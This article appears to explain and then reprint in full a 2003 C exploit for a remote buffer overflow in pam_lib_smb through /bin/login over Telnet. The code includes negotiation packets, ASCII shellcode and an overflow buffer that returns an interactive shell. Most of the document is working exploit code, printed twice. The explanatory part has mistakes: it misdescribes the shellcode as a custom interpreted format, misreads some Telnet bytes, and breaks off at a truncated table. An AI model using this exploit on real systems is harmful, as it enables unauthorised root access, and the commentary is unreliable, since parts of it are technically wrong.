Linux pam_lib_smb Remote Overflow Exploit Explained

Linux pam_lib_smb Remote Overflow Exploit Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the pam_lib_smb library, specifically affecting versions prior to 1.1.6. The exploit targets the /bin/login binary when pam_lib_smb is configured for authentication. Successful exploitation allows an attacker to gain remote shell access to the vulnerable system, typically as the root user. The exploit leverages the Telnet protocol to interact with the vulnerable service.
Simple technical breakdown
The vulnerability lies in how the pam_lib_smb module, when used with /bin/login, handles user credentials. When a user attempts to log in, the system might pass a specially crafted username or password to the pam_smb_auth.so module. If this input is too long and not properly validated, it can overwrite critical data on the program's stack, including the return address.
The exploit works by:
- Establishing a Telnet connection: The attacker connects to the target system's Telnet port (default 23).
- Telnet Negotiation: The exploit sends a series of Telnet control sequences to establish a communication channel and disable certain Telnet options like echoing, which is necessary for the exploit to function correctly.
- Sending Malicious Input: The core of the exploit is a carefully crafted string sent as either the username or password. This string contains:
- Shellcode: Executable code designed to give the attacker a shell.
- Padding: A large amount of data (e.g., 'A' characters) to fill the buffer.
- Return Address Overwrite: A specific memory address that redirects program execution to the attacker's shellcode.
- Gaining Control: When the vulnerable
loginprocess attempts to return from a function call, it uses the overwritten return address, causing it to jump to the attacker's shellcode. - Shellcode Execution: The shellcode then typically binds a shell to a network port or executes a command to provide the attacker with interactive access.
Complete code and payload walkthrough
The provided C code implements a remote exploit for the pam_lib_smb vulnerability. It uses the Telnet protocol to interact with the target and deliver a buffer overflow payload.
packet_1 and packet_2 / packet_2_1
These character arrays contain sequences of bytes representing Telnet protocol commands. They are used to initiate Telnet negotiation.
packet_1:0xff, 0xfd, 0x03, ... , 0xff, 0xfb, 0x23- Purpose: These bytes are Telnet options negotiation sequences.
0xffis the "Interpret as Command" (IAC) byte.0xfd(DO) and0xfb(WILL) are commands. The subsequent bytes (0x03,0x18,0x1f, etc.) represent Telnet options like ECHO, SUPPRESS-GO-AHEAD, TERMINAL-TYPE, etc. The goal is to establish a specific terminal type and potentially disable echo.
- Purpose: These bytes are Telnet options negotiation sequences.
packet_2:0xff, 0xfa, 0x1f, 0x00, 0x62, 0x00, 0x22, ... , 0x01- Purpose: This is a more complex Telnet negotiation sequence.
0xff, 0xfa, 0x1f, 0x00: IAC, SUBNEGOTIATION START, TERMINAL-TYPE option (0x1f), subnegotiation length (0x00).0x62, 0x00, 0x22: These bytes likely represent the terminal type "vt220" (0x62 is 'b', 0x22 is '"').0xff, 0xf0: IAC, SUBNEGOTIATION END.0xff, 0xfa, 0x20, 0x00, 0x33, 0x38, 0x34, 0x30, 0x30, 0x2c, 0x33, 0x38, 0x34, 0x30, 0x30: IAC, SUBNEGOTIATION START, WINDOW SIZE option (0x20), subnegotiation length, followed by ASCII characters representing "38400,38400" (likely window size parameters).0xff, 0xf0: IAC, SUBNEGOTIATION END.0xff, 0xfa, 0x23, 0x00, 0x6c, 0x69, 0x64, 0x73, 0x3a, 0x30: IAC, SUBNEGOTIATION START, AUTHENTICATION OPTION (0x23), subnegotiation length, followed by "lids:0". This is likely related to thepam_smb_authmodule's authentication mechanism.0xff, 0xf0: IAC, SUBNEGOTIATION END.0xff, 0xfa, 0x27, 0x00, 0x03, 0x58, 0x41, 0x55, 0x54, 0x48, 0x4f, 0x52, 0x49, 0x54, 0x59, 0x01, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x78, 0x69, 0x65, 0x2f, 0x2e, 0x58, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x01: This is a long subnegotiation for the AUTHENTICATION OPTION (0x27). It contains data that seems to be a username (/home/xie/.Xauthority) and a command (DISPLAY). This part is crucial for interacting withpam_smb_auth.
- Purpose: This is a more complex Telnet negotiation sequence.
packet_2_1:0x6c, 0x69, 0x64, 0x73, 0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa, 0x18, 0x00, 0x58, 0x54, 0x45, 0x52, 0x4d, 0xff, 0xf0- Purpose: This packet continues the Telnet negotiation.
0x6c, 0x69, 0x64, 0x73, 0x3a, 0x30: Continues the authentication data.0xff, 0xf0: IAC, SUBNEGOTIATION END.0xff, 0xfa, 0x18, 0x00, 0x58, 0x54, 0x45, 0x52, 0x4d: IAC, SUBNEGOTIATION START, TERMINAL-TYPE option (0x18), subnegotiation length, followed by "XTERM". This sets the terminal type to XTERM.0xff, 0xf0: IAC, SUBNEGOTIATION END.
- Purpose: This packet continues the Telnet negotiation.
sc (Shellcode)
unsigned char sc[] =
"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh0A"
"DAX5owxnPTYI19II19h0200X5U9knPTYII19I19hA000X5sO"
"kBPTY19I19I19h4000X59cF4PTY19II19I19h0000X5000FP"
"TY19I19h0002X500w9PTY19I19h0A00X5uR00PTYII19I19"
"h04AAX5ByVyPTY19II19I19h600AX59FMVPTY19I19I19h00"
"0AX500LZPTY19II19h00E0X5Btz0PTYII19hA4A0X5R8p9PT"
"Y19I19II19h0D20X5Lx8LPTY19h0000X5000kPh00A0X5fcV"
"0PTYI19I19h00B0X5eFXgPTY19II19\xff\xff\xe4";- Purpose: This is the actual shellcode. It's a sequence of bytes that, when executed, performs a specific action. In this case, it's designed to provide a remote shell.
- Format: The shellcode is encoded in a custom format, likely for obfuscation or to fit within specific constraints. The
hAAAAX5AAAAHPPPPPPPPpart and similar sequences are not standard assembly but rather custom instructions or data that the exploit's logic interprets. The\xff\xff\xe4at the end is a common shellcode termination sequence. - Functionality (Inferred): Based on typical shellcode of this era, this segment likely:
- Opens a network socket.
- Binds it to a specific port (e.g., port 4444, a common choice for shellcode).
- Listens for an incoming connection.
- When a connection is established, it duplicates the standard input, output, and error file descriptors to the socket, effectively giving the attacker a shell on the target system.
main function
int main(int argc,char **argv)
{
struct sockaddr_in sock;
struct hostent *pHe;
int sd;
short port = -1;
int x;
char *host = NULL;
char *user = NULL; // Not used in this exploit
char exp[1024]; // Not used in this exploit
int a;
char *default_port = "23";
printf("linux_pam_smb\n");
printf("Linux lib_pam_smb < 1.1.6 /bin/login remote exploit\n");
printf("[vertex//lids/org]\n\n");
if (argc < 2)
{
printf("%s -h <victim> [-p port] \n",argv[0]);
return 0;
}
while ((a = getopt(argc,argv,"h:p:u:")) != -1)
{
switch (a)
{
case 'h':
host = optarg;
break;
case 'p':
port = atoi(optarg);
break;
default:
printf("[-] invalid option.\n");
break;
}
}
if (host == NULL)
{
printf("[-] must specify a host to attack\n");
return 0;
}
if (port < 0)
port = atoi(default_port);
if ((pHe = gethostbyname(host)) == NULL)
{
printf("Host lookup error.\n");
return 0;
}
printf("[*] attacking %s:%d\n",host,port);
printf("[*] opening socket\n");
if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("[-] could not create socket");
return 0;
}
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)
{
printf("[-] failed to connect to %s\n",host);
return 0;
}
printf("[*] connected!\n");
printf("[*] Begin negotiate... \n");
negotiate(sd);
printf("[*] Login... \n");
login(sd);
return 0;
}- Purpose: This is the main entry point of the exploit program. It handles command-line arguments, establishes a network connection, and orchestrates the exploit process.
- Functionality:
- Prints introductory messages.
- Parses command-line arguments:
-hfor the target host and-pfor the target port (defaults to 23). - Performs a DNS lookup for the target host.
- Creates a TCP socket.
- Connects to the target host and port.
- Calls
negotiate(sd)to perform Telnet negotiation. - Calls
login(sd)to execute the exploit payload.
negotiate function
void negotiate(int sd)
{
char buf[1024];
char nop[64];
int len;
sendstr(sd, packet_1,sizeof(packet_1));
sleep(2);
memset(buf,'\0',sizeof(buf));
memset(nop,'A',sizeof(nop));
memcpy(buf,packet_2,sizeof(packet_2));
/* adding NOP */
memcpy(buf+sizeof(packet_2), nop, sizeof(nop));
/* shellcode */
memcpy(buf+sizeof(packet_2)+sizeof(nop), sc, sizeof(sc));
/* left packet */
memcpy(buf+sizeof(packet_2)+sizeof(nop)+sizeof(sc),packet_2_1,sizeof(packet_2_1));
len = sizeof(packet_2) +sizeof(packet_2_1) + sizeof(nop)+sizeof(sc) ;
sendstr(sd, buf, len);
sleep(1);
/* wont echo */
wont(sd,TELOPT_ECHO);
sleep(1);
/* do echo */
cmd(sd,TELOPT_ECHO);
sleep(2);
}- Purpose: This function handles the Telnet protocol negotiation. It sends specific sequences of bytes to the server to set up the communication channel for the exploit.
- Functionality:
- Sends
packet_1to initiate negotiation. - Constructs a larger buffer (
buf) by concatenating:packet_2: Initial Telnet negotiation data.nop: A buffer filled with 'A' characters (NOP sled). This is used to ensure that even if the exact landing address of the shellcode is slightly off, execution will slide down to the actual shellcode.sc: The actual shellcode.packet_2_1: Additional Telnet negotiation data.
- Sends the combined buffer to the server.
- Sends Telnet commands
wont(sd, TELOPT_ECHO)andcmd(sd, TELOPT_ECHO).TELOPT_ECHOis a constant representing the Telnet ECHO option.wontsends a "WONT ECHO" command, andcmdsends a "DO ECHO" command (though thecmdfunction seems to send0xfdwhich isDO, notWILL). The intent is to control the echo behavior of the Telnet session.
- Sends
login function
void login(int sd)
{
char buf[1024];
char exploit_buf[172];
char cx[3]="\r\n\0";
int x;
fd_set rset;
memset(exploit_buf,'\0',172);
/* let's jump to 0xbffffe30 */
/* eb 30 fe ff bf */ // These are commented out, likely old shellcode addresses
x = 0;
exploit_buf[x++]=0x68; // PUSH
/* push 0xbffffe30 */ // Target address for shellcode
exploit_buf[x++]=0x30; // Low byte of address
exploit_buf[x++]=0xfe;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xbf; // High byte of address
exploit_buf[x++]=0xbf;
/* ret */ // This is incorrect, should be a jump or call
exploit_buf[x++]=0xc3; // RET instruction
memset(exploit_buf+x,'A',150); // Padding with 'A's
x+=150;
/* will jmp in the middle of the NOP */
/* overwrite the eip with 0x40000f4f libc-2.3.2 */ // Commented out, likely old target
/* at this address it is
pop $exx
pop $exx
ret
*/
exploit_buf[x++]=0xb5; // Likely part of the overwrite, specific to target
exploit_buf[x++]=0xd4; // Likely part of the overwrite
sleep(2);
memset(buf,'\0',sizeof(buf));
strcpy(buf, "xie\r\n\0"); // Sending username "xie"
printf("[*] sending username \n");
sendstr(sd,buf,strlen(buf));
sleep(1);
printf("[*] sending password\n");
sleep(2);
memset(buf,'\0',sizeof(buf));
strcpy(buf, exploit_buf); // Copying the crafted exploit buffer
strcat(buf,"\r\n\0"); // Appending newline and null terminator
sendstr(sd,buf,strlen(buf)); // Sending the exploit payload as password
sleep(2);
fflush(stdout);
FD_ZERO(&rset);
while (1) // Loop to handle server output and user input
{
FD_SET(sd,&rset);
FD_SET(0,&rset);
select(sd+1,&rset,0,0,0);
if (FD_ISSET(sd,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x = read(sd,buf,sizeof(buf)-1)) == 0)
{
printf("Connection closed by foreign host.\n");
exit(-1);
}
fprintf(stderr,"%s",buf);
}
if (FD_ISSET(0,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x = read(0,buf,sizeof(buf)-1)) > 0)
{
write(sd,buf,x);
}
}
}
}- Purpose: This function constructs and sends the actual buffer overflow payload to the vulnerable
/bin/loginprocess. - Functionality:
exploit_bufis a buffer of size 172 bytes.exploit_buf[x++] = 0x68;: Pushes the address0xbffffe30onto the stack. This is the intended target address for the shellcode.exploit_buf[x++] = 0x30; ... exploit_buf[x++] = 0xbf;: These bytes represent the address0xbffffe30in little-endian format.exploit_buf[x++] = 0xc3;: This is theRETinstruction. In this context, it's intended to pop the address pushed earlier from the stack and jump to it. However, the placement of0xc3directly after the address push is unusual. It's more common to have aJMPorCALLinstruction, or to overwrite the return address directly. The0xc3here might be intended to be part of the overwritten return address itself, or it's a misinterpretation of how to jump to the pushed address.memset(exploit_buf+x,'A',150); x+=150;: Fills the buffer with 150 'A' characters. This padding is crucial to reach the saved return address on the stack and overwrite it.exploit_buf[x++]=0xb5; exploit_buf[x++]=0xd4;: These bytes are appended to the buffer. Their exact purpose is unclear without specific knowledge of the target binary's stack layout and function prologue/epilogue. They might be part of the overwrite that redirects execution, or they could be intended to land within the NOP sled if the return address is slightly off. The comments suggest they might be related to apop $exx; pop $exx; retsequence on the target, implying a specific return-oriented programming (ROP) gadget, but the code doesn't explicitly construct such a chain.strcpy(buf, "xie\r\n\0"); sendstr(sd,buf,strlen(buf));: Sends the username "xie" followed by a carriage return and newline.strcpy(buf, exploit_buf); strcat(buf,"\r\n\0"); sendstr(sd,buf,strlen(buf));: Sends the craftedexploit_bufas the password, followed by a carriage return and newline. This is where the overflow occurs.- The
while(1)loop after sending the payload is for interactive session handling. It reads from the socket (server output) and writes tostderr, and reads fromstdin(user input) and writes to the socket. This allows the attacker to interact with the shell provided by the shellcode.
Helper functions: wont, will, cmd, sendstr
wont(int sd, int opt): Sends a TelnetWONTcommand for a specific optionopt. Structure:IAC WONT <option>.will(int sd, int opt): Sends a TelnetWILLcommand for a specific optionopt. Structure:IAC WILL <option>. (Note: Thecmdfunction actually sends0xfdwhich isDO, notWILL).cmd(int sd, int opt): Sends a TelnetDOcommand for a specific optionopt. Structure:IAC DO <option>.sendstr(int sd, char *str, int length): Writeslengthbytes fromstrto the socketsdand then sleeps for 1 second.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/*
* Linux pam_lib_smb < 1.1.6 /bin/login exploit
* by vertex
*
* Tested on Redhat 8.0, 9.0
*
*
* Advisory at
* http://us2.samba.org/samba/ftp/pam_smb/
*
* code based on : UC_login.c
* SunOS 5.6,5.7,5.8 remote /bin/login root exploit
* [mikecc/unixclan]
*
* =============================================================
* In order to use pam_lib_smb, need to add following line on top
* of /etc/pam.d/login
*
* auth required /lib/security/pam_smb_auth.so
*
* And config the /etc/pam_smb.conf correctly.
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
/* first negotiate */
/* packet capture by ethereal */
char packet_1[] = {
0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb,
0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff,
0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
0xff, 0xfb, 0x23 };
char packet_2[] = {
0xff, 0xfa, 0x1f, 0x00, 0x62, 0x00, 0x22, 0xff,
0xf0, 0xff, 0xfa, 0x20, 0x00, 0x33, 0x38, 0x34,
0x30, 0x30, 0x2c, 0x33, 0x38, 0x34, 0x30, 0x30,
0xff, 0xf0, 0xff, 0xfa, 0x23, 0x00, 0x6c, 0x69,
0x64, 0x73,
/* in between ,adding sc */
0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa,
0x27, 0x00, 0x03, 0x58, 0x41, 0x55, 0x54, 0x48,
0x4f, 0x52, 0x49, 0x54, 0x59, 0x01, 0x2f, 0x68,
0x6f, 0x6d, 0x65, 0x2f, 0x78, 0x69, 0x65, 0x2f,
0x2e, 0x58, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x00, 0x44, 0x49, 0x53, 0x50,
0x4c, 0x41, 0x59, 0x01,
};
char packet_2_1[]={
0x6c, 0x69, 0x64, 0x73,
0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa, 0x18, 0x00,
0x58, 0x54, 0x45, 0x52, 0x4d, 0xff, 0xf0 };
/* here is the TERM value */
/*
*/
void login(int);
void negotiate(int);
void sendstr(int,char *,int);
void wont(int sd,int opt);
void will(int sd,int opt);
void cmd(int sd,int opt);
/* ascii shellcode by shellforge (by phillipe biodi)*/
unsigned char sc[] =
"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh0A"
"DAX5owxnPTYI19II19h0200X5U9knPTYII19I19hA000X5sO"
"kBPTY19I19I19h4000X59cF4PTY19II19I19h0000X5000FP"
"TY19I19h0002X500w9PTYI19I19h0A00X5uR00PTYII19I19"
"h04AAX5ByVyPTY19II19I19h600AX59FMVPTY19I19I19h00"
"0AX500LZPTY19II19h00E0X5Btz0PTYII19hA4A0X5R8p9PT"
"Y19I19II19h0D20X5Lx8LPTY19h0000X5000kPh00A0X5fcV"
"0PTYI19I19h00B0X5eFXgPTYI19II19\xff\xff\xe4";
int main(int argc,char **argv)
{
struct sockaddr_in sock;
struct hostent *pHe;
int sd;
short port = -1;
int x;
char *host = NULL;
char *user = NULL;
char exp[1024];
int a;
char *default_port = "23";
printf("linux_pam_smb\n");
printf("Linux lib_pam_smb < 1.1.6 /bin/login remote exploit\n");
printf("[vertex//lids/org]\n\n");
if (argc < 2)
{
printf("%s -h <victim> [-p port] \n",argv[0]);
return 0;
}
while ((a = getopt(argc,argv,"h:p:u:")) != -1)
{
switch (a)
{
case 'h':
host = optarg;
break;
case 'p':
port = atoi(optarg);
break;
default:
printf("[-] invalid option.\n");
break;
}
}
if (host == NULL)
{
printf("[-] must specify a host to attack\n");
return 0;
}
if (port < 0)
port = atoi(default_port);
if ((pHe = gethostbyname(host)) == NULL)
{
printf("Host lookup error.\n");
return 0;
}
printf("[*] attacking %s:%d\n",host,port);
printf("[*] opening socket\n");
if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("[-] could not create socket");
return 0;
}
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)
{
printf("[-] failed to connect to %s\n",host);
return 0;
}
printf("[*] connected!\n");
printf("[*] Begin negotiate... \n");
negotiate(sd);
printf("[*] Login... \n");
login(sd);
return 0;
}
void login(int sd)
{
char buf[1024];
char exploit_buf[172];
char cx[3]="\r\n\0";
int x;
fd_set rset;
memset(exploit_buf,'\0',172);
/* let's jump to 0xbffffe30 */
/* eb 30 fe ff bf */
x = 0;
exploit_buf[x++]=0x68;
/* push 0xbffffe30 */
/* shellcode address */
exploit_buf[x++]=0x30;
exploit_buf[x++]=0xfe;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xbf;
exploit_buf[x++]=0xbf;
/* ret */
exploit_buf[x++]=0xc3;
memset(exploit_buf+x,'A',150);
x+=150;
/* will jmp in the middle of the NOP */
/* overwrite the eip with 0x40000f4f libc-2.3.2 */
/* at this address it is
pop $exx
pop $exx
ret
*/
exploit_buf[x++]=0xb5;
exploit_buf[x++]=0xd4;
sleep(2);
memset(buf,'\0',sizeof(buf));
strcpy(buf, "xie\r\n\0");
printf("[*] sending username \n");
sendstr(sd,buf,strlen(buf));
sleep(1);
printf("[*] sending password\n");
sleep(2);
memset(buf,'\0',sizeof(buf));
strcpy(buf, exploit_buf);
strcat(buf,"\r\n\0");
sendstr(sd,buf,strlen(buf));
sleep(2);
fflush(stdout);
FD_ZERO(&rset);
while (1)
{
FD_SET(sd,&rset);
FD_SET(0,&rset);
select(sd+1,&rset,0,0,0);
if (FD_ISSET(sd,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x = read(sd,buf,sizeof(buf)-1)) == 0)
{
printf("Connection closed by foreign host.\n");
exit(-1);
}
fprintf(stderr,"%s",buf);
}
if (FD_ISSET(0,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x = read(0,buf,sizeof(buf)-1)) > 0)
{
write(sd,buf,x);
}
}
}
}
/*
* telnet negotiation needed for
* talking with the telnet protocol
*/
void negotiate(int sd)
{
char buf[1024];
char nop[64];
int len;
sendstr(sd, packet_1,sizeof(packet_1));
sleep(2);
memset(buf,'\0',sizeof(buf));
memset(nop,'A',sizeof(nop));
memcpy(buf,packet_2,sizeof(packet_2));
/* adding NOP */
memcpy(buf+sizeof(packet_2), nop, sizeof(nop));
/* shellcode */
memcpy(buf+sizeof(packet_2)+sizeof(nop), sc, sizeof(sc));
/* left packet */
memcpy(buf+sizeof(packet_2)+sizeof(nop)+sizeof(sc),packet_2_1,sizeof(packet_2_1));
len = sizeof(packet_2) +sizeof(packet_2_1) + sizeof(nop)+sizeof(sc) ;
sendstr(sd, buf, len);
sleep(1);
/* wont echo */
wont(sd,TELOPT_ECHO);
sleep(1);
/* do echo */
cmd(sd,TELOPT_ECHO);
sleep(2);
}
/*
* send a telnet WONT
*
* structure of a telnet WONT is:
* 1. IAC
* 2. WONT
* 3. what you wont do
* (all of the above are found in arpa/telnet.h)
*/
void wont(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c%c%c",IAC,WONT,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
/*
* send a telnet WILL
*
* structure of a telnet WILL is:
* 1. IAC
* 2. WILL
* 3. what you will do
* (all of the above are found in arpa/telnet.h)
*/
void will(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c%c%c",IAC,WILL,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
void cmd(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c\xfd%c",IAC,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
/*
*
*/
void sendstr(int sd,char *str,int length)
{
write(sd,str,length);
sleep(1);
}
// milw0rm.com [2003-08-29]